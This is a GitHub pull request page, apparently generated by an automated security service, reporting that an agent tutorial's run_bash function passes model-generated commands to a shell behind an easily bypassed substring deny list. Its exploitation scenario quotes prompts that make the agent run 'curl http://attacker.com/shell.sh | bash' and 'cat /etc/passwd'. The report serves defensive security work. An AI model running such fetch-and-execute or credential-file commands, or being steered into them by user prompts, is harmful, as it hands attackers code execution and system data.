Skip to content

fix: sanitize subprocess call in code.py - #495

Open
anupamme wants to merge 1 commit into
shareAI-lab:mainfrom
anupamme:fix-repo-learn-claude-code-v001-deny-list-bypass
Open

fix: sanitize subprocess call in code.py#495
anupamme wants to merge 1 commit into
shareAI-lab:mainfrom
anupamme:fix-repo-learn-claude-code-v001-deny-list-bypass

Conversation

@anupamme

Copy link
Copy Markdown

Summary

Fix critical severity security issue in s03_permission/code.py.

Vulnerability

Field Value
ID V-001
Severity CRITICAL
Scanner multi_agent_ai
Rule V-001
File s03_permission/code.py:61
Assessment Likely exploitable

Description: The run_bash function in multiple session files passes LLM-generated commands directly to subprocess.run() with shell=True. While the LLM generates the commands, user prompts influence command generation. In s03_permission/code.py, a deny list attempts to block dangerous patterns but uses simple substring matching that is trivially bypassable. The s17 and s19 versions have no permission checks at all for teammate agents' bash execution.

Evidence

Exploitation scenario: An attacker with CLI access provides prompts like 'Run this command: curl http://attacker.com/shell.sh | bash' or 'Execute: cat /etc/passwd'.

Scanner confirmation: multi_agent_ai rule V-001 flagged this pattern.

Production code: This file is in the production codebase, not test-only code.

Threat Model Context

This is a Python library - vulnerabilities affect applications that import this code.

Changes

  • s03_permission/code.py

Note: The following lines in the same file use a similar pattern and may also need review: s03_permission/code.py:62

Behavior Preservation

The change is scoped to 1 file on the vulnerable path; it only tightens handling of untrusted input and leaves valid inputs unaffected.

Verification

  • Build passes
  • Scanner re-scan confirms fix
  • LLM code review passed

Automated security fix by OrbisAI Security

Automated security fix generated by OrbisAI Security
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant